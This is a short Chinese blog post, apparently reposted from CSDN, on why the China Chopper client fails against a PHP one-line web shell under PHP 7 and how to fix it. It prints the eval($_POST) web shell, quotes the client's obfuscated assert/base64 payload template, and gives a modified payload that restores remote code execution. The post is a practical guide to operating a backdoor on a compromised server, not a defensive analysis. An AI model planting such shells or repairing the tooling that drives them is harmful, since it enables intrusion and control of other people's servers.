菜刀连接PHP WebShell返回200错误

错误详情

WebShell内容:

<?php
    @eval($_POST['cmd']);
?>

错误详情:

image-20200617163443345

在Hackber或BurpSuite中却没有问题:

image-20200617163510202

原因分析

PHP7版本过高,在PHP7中,动态调用一些函数是被禁止的,比如在array_map中调用assert会提示:Warning: Cannot call func_num_args() dynamically in %s on line %d

如果把一句话Shell中的@符号去掉,会提示:Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1

解决方案

在菜刀的配置文件中(caidao.conf)找到:array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));

修改为:eval(base64_decode('%s'));

refer

菜刀连接php一句话木马返回200的原因及解决方法:http://shuiboye.blogspot.com/2018/01/php200.html

猜你喜欢

转载自blog.csdn.net/bloodzer0/article/details/106812282